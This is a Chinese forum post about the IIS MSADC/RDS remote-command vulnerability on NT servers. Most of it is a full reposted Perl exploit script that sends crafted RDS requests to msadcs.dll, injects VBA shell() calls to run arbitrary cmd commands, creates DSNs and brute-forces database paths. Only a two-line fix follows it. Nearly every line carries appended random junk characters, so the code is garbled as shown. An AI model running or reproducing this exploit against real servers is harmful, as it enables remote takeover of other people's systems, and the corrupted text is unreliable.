社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168013阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) mjbV^^>  
i UW.$1l  
涉及程序: a9TKp$LP`  
Microsoft NT server sQ%gf  
K?acRi  
描述: S$ 91L  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Z;J{&OJ3qM  
(c9!:  
详细: @]B 7(j<'R  
如果你没有时间读详细内容的话,就删除: C9E@$4*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Ozs&YZ  
有关的安全问题就没有了。 >A1;!kGE#  
@8V~&yqq  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 gR8vF  
K_LwYO3  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =s1Pf__<k  
关于利用ODBC远程漏洞的描述,请参看: #[NNb?`F  
JiCy77H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `i3fC&?C  
d]QCk &XU  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w"BMJ+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3(>NS?lX  
'A9U[|  
这里不再论述。 lcEin*Oc  
Y,s@FGI2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f 7j9'k  
2?\L#=<F  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset </Ry4x^A  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g(F? qP_K  
>O}J*4A>+#  
B;xGTl@8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" XLsOn(U\&  
doV+u(J~  
#!perl Z1M{5E  
# $#d.@JWi  
# MSADC/RDS 'usage' (aka exploit) script L=5Fvm  
# t+Hx&_pMj  
# by rain.forest.puppy %%f(R7n  
# dSIZsapH  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^ l9NF  
# beta test and find errors! ]eIV'lP,j/  
~3s\Q%   
use Socket; use Getopt::Std; =hB0p^a  
getopts("e:vd:h:XR", \%args); 7NDjXcuq  
U Zc%XZ`"V  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [49Ae2W`  
${)s ~[  
if (!defined $args{h} && !defined $args{R}) { hDHIi\%  
print qq~ # dxS QmG  
Usage: msadc.pl -h <host> { -d <delay> -X -v } txXt<]N  
-h <host> = host you want to scan (ip or domain) b#E!wMClS  
-d <seconds> = delay between calls, default 1 second +K03yphZr  
-X = dump Index Server path table, if available `d. 4 L.],  
-v = verbose LjMhPzCp  
-e = external dictionary file for step 5 |!H@{o  
}?XNA.Wz  
Or a -R will resume a command session n 0CS =  
r&c31k]E  
~; exit;} Z7Xic5PI{4  
~Y'j8W  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; YR}By;Bq  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} L% ?3VW  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ##clReS  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); XbKNH>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ba /^CS  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JLH,:2  
/f) #CR0$  
if (!defined $args{R}){ $ret = &has_msadc; It3.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} mY !LGN  
<<.%Gk  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 7__?1n~{  
. "cmd /c "; [*AWCV  
$in=<STDIN>; chomp $in; u#`FkuE\}  
$command="cmd /c " . $in ; ;f)o_:(JJ  
E5F0C]hq  
if (defined $args{R}) {&load; exit;} ![a~y`<K,  
rYwUD7ip  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; '`fz|.|cbB  
&try_btcustmr; <tp#KZE  
u.Z,HsEOb  
print "\nStep 2: Trying to make our own DSN..."; @O%d2bgEWV  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e3b|z.^8  
6`l7saHXE  
print "\nStep 3: Trying known DSNs..."; WYNO6Xb#:  
&known_dsn; f:|O);nM  
hXx.  
print "\nStep 4: Trying known .mdbs..."; ?\$\YX%/p  
&known_mdb; [.`%]Z(  
q^k]e{PD  
if (defined $args{e}){ Ps_q\R  
print "\nStep 5: Trying dictionary of DSN names..."; Z-B b,8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } K{x FhdW  
~^R?HS  
print "Sorry Charley...maybe next time?\n"; U?d4 ^  
exit; Y94/tjt  
&33.mdBH  
############################################################################## .a *^6TC.  
j}$Up7pW  
sub sendraw { # ripped and modded from whisker wz(D }N5  
sleep($delay); # it's a DoS on the server! At least on mine... ~M4@hG!  
my ($pstr)=@_; uepL"%.@7|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]h6mJ{k  
die("Socket problems\n"); a4L0Itrp  
if(connect(S,pack "SnA4x8",2,80,$target)){ pRLs*/Bw  
select(S); $|=1; X ?lF,p  
print $pstr; my @in=<S>; |ZnRr  
select(STDOUT); close(S); |U4t 8  
return @in; I{0bs Tp;  
} else { die("Can't connect...\n"); }} 9x40  
78i"3Tm)w  
############################################################################## Hz6yy*  
}th^l*g  
sub make_header { # make the HTTP request }475c{  
my $msadc=<<EOT @lnM%  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 x6c#[:R&  
User-Agent: ACTIVEDATA <7%4=  
Host: $ip p~xrl jP$  
Content-Length: $clen :xP$iEA`G  
Connection: Keep-Alive XgmblNp1  
N2x!RYW  
ADCClientVersion:01.06 Vt!<.8&`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 _noQk3N  
\"u3 x.!  
--!ADM!ROX!YOUR!WORLD! A->y#KQ  
Content-Type: application/x-varg 'F[ C 4  
Content-Length: $reqlen }&mFpc  
ef;Ta|#  
EOT ttK`*Ng  
; $msadc=~s/\n/\r\n/g; X) TUKt  
return $msadc;} KZxA\,Y'5  
_,i+gI[  
############################################################################## yw( E}   
k v}<u  
sub make_req { # make the RDS request +.b@rU6H  
my ($switch, $p1, $p2)=@_; )5Bkm{v3  
my $req=""; my $t1, $t2, $query, $dsn; a}w%k  
khW9n*  
if ($switch==1){ # this is the btcustmr.mdb query X0.-q%5  
$query="Select * from Customers where City=" . make_shell(); P6E=*^^m(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +L$,jZqS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Kx;DmwX-  
OJ'x>kE  
elsif ($switch==2){ # this is general make table query M5Twulz/w  
$query="create table AZZ (B int, C varchar(10))"; 'C9H6)Zq)  
$dsn="$p1";} oYG].PC  
gAY%VFBP0  
elsif ($switch==3){ # this is general exploit table query dTV:/QM  
$query="select * from AZZ where C=" . make_shell(); K~#wvUb  
$dsn="$p1";} `=0J:  
~',}]_'oR-  
elsif ($switch==4){ # attempt to hork file info from index server I'[hvp  
$query="select path from scope()"; z]YP  
$dsn="Provider=MSIDXS;";} zTa>MzH1-;  
5w#*JK   
elsif ($switch==5){ # bad query B~u_zZE  
$query="select"; DJ9;{,gm  
$dsn="$p1";} N+vU@)_lC  
0KF)+`CC>  
$t1= make_unicode($query); ,ZYj8^gF  
$t2= make_unicode($dsn); #89h}mp'  
$req = "\x02\x00\x03\x00"; Bn"r;pqWiT  
$req.= "\x08\x00" . pack ("S1", length($t1)); [wM<J$=2  
$req.= "\x00\x00" . $t1 ; 9 o7d3ir)  
$req.= "\x08\x00" . pack ("S1", length($t2)); / h6(!-"  
$req.= "\x00\x00" . $t2 ; $J |oVVct  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; D k'EKT-  
return $req;} xmDX1sL**  
%acy%Sy  
############################################################################## B=;pyhc  
G@) I  
sub make_shell { # this makes the shell() statement )6?.; B  
return "'|shell(\"$command\")|'";} %}=$HwN)  
I~R<}volu  
############################################################################## 9 @yP;{Q  
%;0w2W  
sub make_unicode { # quick little function to convert to unicode .'SXRrn&:C  
my ($in)=@_; my $out; 3_atv'I  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4Pljyq:  
return $out;} ."Yub];H  
xrT_ro8  
############################################################################## j}R4m h  
! 40t:+I  
sub rdo_success { # checks for RDO return success (this is kludge) I`%=&l[v_5  
my (@in) = @_; my $base=content_start(@in); wYf=(w \c  
if($in[$base]=~/multipart\/mixed/){ ] %*970  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} H&L=WF+x  
return 0;} vtFA#})~  
oT5xe[{yj  
############################################################################## #^Dc:1,  
SPV'0* Z  
sub make_dsn { # this makes a DSN for us K]bS:[34 R  
my @drives=("c","d","e","f"); 3D~Fu8Hg1  
print "\nMaking DSN: "; ~MY (6P  
foreach $drive (@drives) { B-[SUmHr  
print "$drive: "; s\&_Kbw] c  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  W4CI=94  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $/C<^}A  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); oQDOwM,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; JLAg-j2  
return 0 if $2 eq "404"; # not found/doesn't exist \i-jME(sN  
if($2 eq "200") { c 3@SgfKmk  
foreach $line (@results) { *eXO?6f%s^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ^c]Sl  
} return 0;} 2LYd # !i  
ZZC= 7FB  
############################################################################## dW7dMx  
1A- 8,)  
sub verify_exists { Hcd>\0  
my ($page)=@_; +29;T0>a  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T , =ga  
return $results[0];} Za!c=(5  
DuvP3(K  
############################################################################## ud:?~?j&w  
U30)r+&  
sub try_btcustmr { V8Q#%#)FHe  
my @drives=("c","d","e","f"); 5?kA)!|UB  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Wsz='@XvB  
@sKAsn  
foreach $dir (@dirs) { 16N8h]l  
print "$dir -> "; # fun status so you can see progress `Ik}Xw  
foreach $drive (@drives) { 73~Mq7~8  
print "$drive: "; # ditto |->y'V  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; UKK}$B  
$reqlenlen=length( "$reqlen" ); &SN$D5U'  
$clen= 206 + $reqlenlen + $reqlen; (P#2Am$  
i`] M2Q   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,:\2Lf  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} na']{a 1K  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;(0:6P8I  
CES FkAj~  
############################################################################## lO $M6l  
*A\NjXJl~  
sub odbc_error { SA>;]6)`(  
my (@in)=@_; my $base; xdo{4XY^*W  
my $base = content_start(@in); ^y6Pkb P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this MF\n@lX  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jX&&@zMq  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \wRr6-!_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Mty]LMK  
return $in[$base+4].$in[$base+5].$in[$base+6];} GvzPT2E!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 8)POEY4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 3 n:<oOV  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} x}x@_w   
}2c}y7B,_  
############################################################################## b$R>GQ?#  
P)ZSxU  
sub verbose { jZ D\u%  
my ($in)=@_; ex!^&7Q(  
return if !$verbose; 4}LF>_+=  
print STDOUT "\n$in\n";} z~ u@N9M  
!RcAJs'  
############################################################################## 3X!~*_i C  
"}HQ)54&  
sub save { 3+|6])Hi1  
my ($p1, $p2, $p3, $p4)=@_; }ZmdX^xB  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; <Ab:yD`K!  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (Z"Xp{u  
close OUT;} ~$\j$/A8/  
@J<B^_+Se  
############################################################################## #8z\i2I  
d}o1 j  
sub load { Fcr@Un'  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; fd,~Yj$R?  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); a+~o: 5  
@p=<IN>; close(IN); lwg.'<  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;W+-x] O  
$target= inet_aton($ip) || die("inet_aton problems"); x b0+4w|  
print "Resuming to $ip ..."; }\0"gM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `X^e}EGWu  
if($p[1]==1) { YqJIp. Z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^w12k2a  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; fcZOsTj  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `p?E{k.N  
if (rdo_success(@results)){print "Success!\n";} (&*F`\  
else { print "failed\n"; verbose(odbc_error(@results));}} '9/kDkt!  
elsif ($p[1]==3){ ^n2w6U0  
if(run_query("$p[3]")){ Qx,G3m[}  
print "Success!\n";} else { print "failed\n"; }} .4Ny4CMHZ  
elsif ($p[1]==4){ o7T|w~F~R  
if(run_query($drvst . "$p[3]")){ 1 I+5  
print "Success!\n"; } else { print "failed\n"; }} :> q?s  
exit;} g^C6"rsnl  
(KQt%]  
############################################################################## OXacI~C  
*(scSC>  
sub create_table { ]Cz16e&=2  
my ($in)=@_; aBI]' D;  
$reqlen=length( make_req(2,$in,"") ) - 28; 8Cqs@<r4Od  
$reqlenlen=length( "$reqlen" ); 2>!ykUw^O  
$clen= 206 + $reqlenlen + $reqlen; ^]DWrmy  
my @results=sendraw(make_header() . make_req(2,$in,"")); @Hf }PBb  
return 1 if rdo_success(@results); k`AJ$\=  
my $temp= odbc_error(@results); verbose($temp); >gSerDH8\  
return 1 if $temp=~/Table 'AZZ' already exists/; ~+np7  
return 0;} ". 0W8=  
`/AzX *`  
############################################################################## 72,iRH  
y%,BDyK  
sub known_dsn { :9YQX(l8  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -0X> y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @iRVY|t/  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1}uDgz^  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); z )pV$  
I7~|!d6  
foreach $dSn (@dsns) { =z3jFaZ  
print "."; op-#Ig$#  
next if (!is_access("DSN=$dSn")); /)I9+s#q9o  
if(create_table("DSN=$dSn")){ vvM)Rb,  
print "$dSn successful\n"; hjG1fgEj  
if(run_query("DSN=$dSn")){ ,![=_d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { mCGcM^21-x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} uf^:3{1  
".)_kt[  
############################################################################## O$H150,Q  
H+;wnI>@  
sub is_access { _5T7A><q<  
my ($in)=@_; ^8m+*t  
$reqlen=length( make_req(5,$in,"") ) - 28; (6BCFl:/Q<  
$reqlenlen=length( "$reqlen" ); *e6|SZ &3  
$clen= 206 + $reqlenlen + $reqlen; ger<JSL%  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1pb;A;F,A  
my $temp= odbc_error(@results); 0uz"}v)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Rpk`fxAO  
return 0;} 5G<CDgl^!  
4cQ5E9  
############################################################################## mvgm o  
RF)B4D-W  
sub run_query { QC4T=E]` j  
my ($in)=@_; *jK))|%  
$reqlen=length( make_req(3,$in,"") ) - 28; vs. uq  
$reqlenlen=length( "$reqlen" ); HUC2RM?FN  
$clen= 206 + $reqlenlen + $reqlen; +I<Sq_-  
my @results=sendraw(make_header() . make_req(3,$in,"")); faq K D:  
return 1 if rdo_success(@results); #FB>}:L{h*  
my $temp= odbc_error(@results); verbose($temp); [!&k?.*;<  
return 0;} A,{D9-%  
xiF%\#N  
############################################################################## M: "ci;*$  
zcKC5vqb  
sub known_mdb { ElXe=5L\#  
my @drives=("c","d","e","f","g"); 6 b}feEh$!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V@S/!h+  
my $dir, $drive, $mdb; 8q3TeMYV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .dCP8|  
u =kSs  
# this is sparse, because I don't know of many 6Qb)Uq3}]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", u mlZ(??.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ge?-^s4M  
"\\system32\\certmdb.mdb", <~M9 nz(<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -YV4  O  
X=pt}j,QrP  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #0u69  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Yd;r8rN  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q=Yerp3~  
"\\cfusion\\cfapps\\security\\realm_.mdb", C/waH[Yzan  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", f^4*.~cB  
"\\cfusion\\database\\cfexamples.mdb", l _ O~v?  
"\\cfusion\\database\\cfsnippets.mdb", DH9?2)aR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~Ls I<z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -^H5z+"^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~{YgM/c|dt  
"\\cfusion\\database\\smpolicy.mdb", xD# I&.  
"\\cfusion\\database\cypress.mdb", o'7ju~0L  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #L.}CzAz  
"\\website\\cgi-win\\dbsample.mdb", !2| `aa  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", kA<r:/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  #>jH[Q  
); #these are just 8MeXVhM  
foreach $drive (@drives) { gVU\^KN]  
foreach $dir (@dirs){ pMp9 O/u%  
foreach $mdb (@sysmdbs) { 3Z:!o$  
print "."; htYrv5q=M  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -Y=c g;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |/^aL j^u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 1vs>2` DLa  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; W lQ=CRY  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Kw0V4UF  
0~b6wuFl  
foreach $drive (@drives) { !7`=rT&  
foreach $mdb (@mdbs) { K}`p_)(  
print "."; K4/P(*r`  
if(create_table($drv . $drive . $dir . $mdb)){ DG*o w^  
print "\n" . $drive . $dir . $mdb . " successful\n"; @Q\$dneY  
if(run_query($drv . $drive . $dir . $mdb)){ zXPJ;^Xxa  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !VX_'GyK  
} else { print "Something's borked. Use verbose next time\n"; }}}} G=!bM(]R~  
} ;9p5YxD  
|ak C  
############################################################################## (l8r>V  
WFB|lNf&  
sub hork_idx { @\`G & VB  
print "\nAttempting to dump Index Server tables...\n"; q4GW=@eD  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; DgT.Lku?  
$reqlen=length( make_req(4,"","") ) - 28; $;i$k2n:  
$reqlenlen=length( "$reqlen" ); 3ZL7N$N}7  
$clen= 206 + $reqlenlen + $reqlen; tW.>D;8  
my @results=sendraw2(make_header() . make_req(4,"","")); d)1sP0Z_@  
if (rdo_success(@results)){ 06 Esc^D  
my $max=@results; my $c; my %d; &tz%WW%D8  
for($c=19; $c<$max; $c++){ /Np"J  
$results[$c]=~s/\x00//g; JJ9e{~0 I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "8iiRzt#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; O"qa&3t%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; y8*@dRrq  
$d{"$1$2"}="";} D2%G.z  
foreach $c (keys %d){ print "$c\n"; } /W$y"!^)J1  
} else {print "Index server doesn't seem to be installed.\n"; }} bC4* w O  
#1dTM-  
############################################################################## B%rr}Ro1e  
H"GE\  
sub dsn_dict { 7cmr *y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]7S7CVDk4  
while(<IN>){ sJI -  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; HvgK_'  
next if (!is_access("DSN=$dSn")); Pv %vx U  
if(create_table("DSN=$dSn")){ KT;C RO>  
print "$dSn successful\n"; 2@m(XT (  
if(run_query("DSN=$dSn")){ v8[ek@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e|5B1rMM  
print "Something's borked. Use verbose next time\n";}}} tct 5*.|  
print "\n"; close(IN);} "o#)vA`  
ssX6kgq_(  
############################################################################## @)Hbgkdi  
zGL<m0C  
sub sendraw2 { # ripped and modded from whisker 95?5=T F  
sleep($delay); # it's a DoS on the server! At least on mine... [+MH[1Vr={  
my ($pstr)=@_; U~#^ ^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >RL6Jbo|  
die("Socket problems\n"); `k{ff  
if(connect(S,pack "SnA4x8",2,80,$target)){ w[ YkTv  
print "Connected. Getting data"; v`+n`DT  
open(OUT,">raw.out"); my @in; u5XU`!  
select(S); $|=1; print $pstr; W`/jz/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ghobu}wuF  
close(OUT); select(STDOUT); close(S); return @in; ? W2I1HEy  
} else { die("Can't connect...\n"); }} t`8e#n 9  
\|pK Z6*s  
############################################################################## wO_pcNYZ8  
A.$VM#  
sub content_start { # this will take in the server headers RZ)vU'@kx  
my (@in)=@_; my $c; ;sck+FP7w  
for ($c=1;$c<500;$c++) { d%_78nOh"  
if($in[$c] =~/^\x0d\x0a/){ Qk~0a?#y5  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } $-fjrQ  
else { return $c+1; }}} 0 bPJEEd  
return -1;} # it should never get here actually k$0|^GL8  
i_9Cc$Qh<  
############################################################################## 9B#)h)h(=  
PD}SPOA`U3  
sub funky { cGpN4|*rQ  
my (@in)=@_; my $error=odbc_error(@in); q0b`HD  
if($error=~/ADO could not find the specified provider/){ !|Xl 8lV`  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :L [YmZ  
exit;} )kL` &+#>  
if($error=~/A Handler is required/){ Bgk~R.l  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9-a2L JI  
exit;} im4e!gRE  
if($error=~/specified Handler has denied Access/){ .sJys SA\  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0.u9f`04  
exit;}} TM/|K|_  
iB}LnC:  
############################################################################## &w;^m/zP3  
> G4HZE  
sub has_msadc { 5}X<(q(  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); anz9lGG#  
my $base=content_start(@results); N.5KPAvg%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 7>t$<J  
return 0;} nv_m!JG7  
STXqq[+Rf  
######################## gf3u0' $  
<(#xOe  
N'eQ>2>O@  
解决方案: 2sd ) w  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll s.p1L  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 je- , S>U  
h7de9Rt  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五